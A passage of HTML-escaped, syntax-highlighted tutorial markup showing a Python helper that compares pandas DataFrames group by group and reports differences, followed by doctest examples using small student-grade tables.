&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;obtained&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unexpected (not expected) group &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;to_string_kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;diffs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;missing_group_names&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected_g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;expected&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Missing (not obtained) group &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;to_string_kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;diffs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# Compare group by group, sorting them if sort_by is given.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;common_group_names&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected_g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sort_by&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inplace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;check_exact&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rtol&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;rtol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;atol&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;atol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check_like&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check_dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;obtained&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;expected&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;merged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;ob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sort_index&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;singleton_group&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;For group &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;merged&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;to_string_kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;diffs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;diffs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Found &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diffs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; difference&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diffs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Details follows:&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;diffs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="examples"&gt;Examples&lt;/h2&gt;
&lt;p&gt;Let’s begin with the same dataframes as before:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;bob&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;charlie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;physics&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;grade&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[&lt;/span&gt;      &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;obtained_df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;[&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;bob&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;alice&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;charlie&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;subject&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;physics&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s1"&gt;&amp;#39;math&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;grade&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;[&lt;/span&gt;        &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;         &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Calling &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_df_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; without any group by or sort by does not gives you much. As before a straight call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;assert_frame_equal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; says that there is a difference on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; when we already know that it is not.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;assert_df_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obtained_df&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected_df&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;difference&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Details&lt;/span&gt; &lt;span class="n"&gt;follows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iloc&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;column&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;subject&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
